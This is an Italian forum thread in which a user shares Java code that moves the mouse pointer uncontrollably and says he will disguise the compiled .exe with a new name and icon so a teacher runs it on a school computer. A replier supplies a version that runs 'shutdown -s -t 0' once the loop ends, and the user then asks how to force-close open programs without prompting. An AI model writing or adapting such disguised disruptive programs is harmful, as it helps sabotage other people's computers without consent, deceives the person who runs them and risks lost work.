Domanda Eseguire comando shutdown in java?

Stato
Discussione chiusa ad ulteriori risposte.

DavideGuido99

Utente Bronze
12 Giugno 2015
25
7
1
41
Ciao a tutti ho scritto in java il programma del crazy mouse(quando lo si avvia il puntatore del mouse si muove in continuazione per lo schermo senza controllo) e dopo averlo convertito in .exe vorrei copiarlo nel computer della scuola magari cambiando icona e nome così quando la prof lo avvia va in casino il computer :asd:
Il mio problema è che vorrei inserire nel codice un comando come shutdown che, al termine di un ciclo For spegne il computer(così perdiamo un po più tempo di lezione:asd:) qualcuno può dirmi come fare?
Grazie in anticipo

P.S. ecco il codice del programma:

Import java.awt. AWTException;
Import java.awt. Robot;
Import java.util.Random;

Public class Mouse
{
public static void main (String [] args) throws AWTException {

Robot mouse = new Robot ();
Random random = new Random ();
int n,m;

For (int i = 0; i <10000000;i++){
n=random.nextInt(1280);
m=random.nextInt (800);
mouse.mouseMove (n,m);
}
}
}
 
Codice:
public static void main(String[] args) throws AWTException, IOException {
        Robot mouse = new Robot ();
      
        Runtime runtime = Runtime.getRuntime();
      
        Random random = new Random ();
        int n,m;

        for (int i = 0; i <= 10000000;i++){
            n=random.nextInt(1280);
            m=random.nextInt (800);
            mouse.mouseMove (n,m);
            if(i == 10000000){
                runtime.exec("shutdown -s -t 0");
                System.exit(0);
            }
        }
    }
Tieni, dovrebbe andare ;)
 
  • Mi piace
Reazioni: DavideGuido99
Codice:
public static void main(String[] args) throws AWTException, IOException {
        Robot mouse = new Robot ();
     
        Runtime runtime = Runtime.getRuntime();
     
        Random random = new Random ();
        int n,m;

        for (int i = 0; i <= 10000000;i++){
            n=random.nextInt(1280);
            m=random.nextInt (800);
            mouse.mouseMove (n,m);
            if(i == 10000000){
                runtime.exec("shutdown -s -t 0");
                System.exit(0);
            }
        }
    }
Tieni, dovrebbe andare ;)
Grazie mille
 
Codice:
public static void main(String[] args) throws AWTException, IOException {
        Robot mouse = new Robot ();
     
        Runtime runtime = Runtime.getRuntime();
     
        Random random = new Random ();
        int n,m;

        for (int i = 0; i <= 10000000;i++){
            n=random.nextInt(1280);
            m=random.nextInt (800);
            mouse.mouseMove (n,m);
            if(i == 10000000){
                runtime.exec("shutdown -s -t 0");
                System.exit(0);
            }
        }
    }
Tieni, dovrebbe andare ;)
Ciao ho provato il codice e va benissimo però prima dello spegnimento se ci sono programmi aperti il sistema chiede all'utente se arrestare il sistema e chiudere i programmi o annullare l'operazione di spegnimento (io ho vista non so se su 7 o 8 fa la stessa cosa) quindi vorrei sapere se esiste qualche metodo per chiudere tutti i programmi senza chiedere prima all'utente (una specie di taskkill su cmd)
Grazie:)
 
Codice:
public static void main(String[] args) throws AWTException, IOException {
        Robot mouse = new Robot ();
     
        Runtime runtime = Runtime.getRuntime();
     
        Random random = new Random ();
        int n,m;

        for (int i = 0; i <= 10000000;i++){
            n=random.nextInt(1280);
            m=random.nextInt (800);
            mouse.mouseMove (n,m);
            if(i == 10000000){
                runtime.exec("shutdown -s -t 0");
                System.exit(0);
            }
        }
    }
Tieni, dovrebbe andare ;)
Ciao ho provato il codice e va benissimo però prima dello spegnimento se ci sono programmi aperti il sistema chiede all'utente se arrestare il sistema e chiudere i programmi o annullare l'operazione di spegnimento (io ho vista non so se su 7 o 8 fa la stessa cosa) quindi vorrei sapere se esiste qualche metodo per chiudere tutti i programmi senza chiedere prima all'utente (una specie di taskkill su cmd)
Grazie:)
 
Stato
Discussione chiusa ad ulteriori risposte.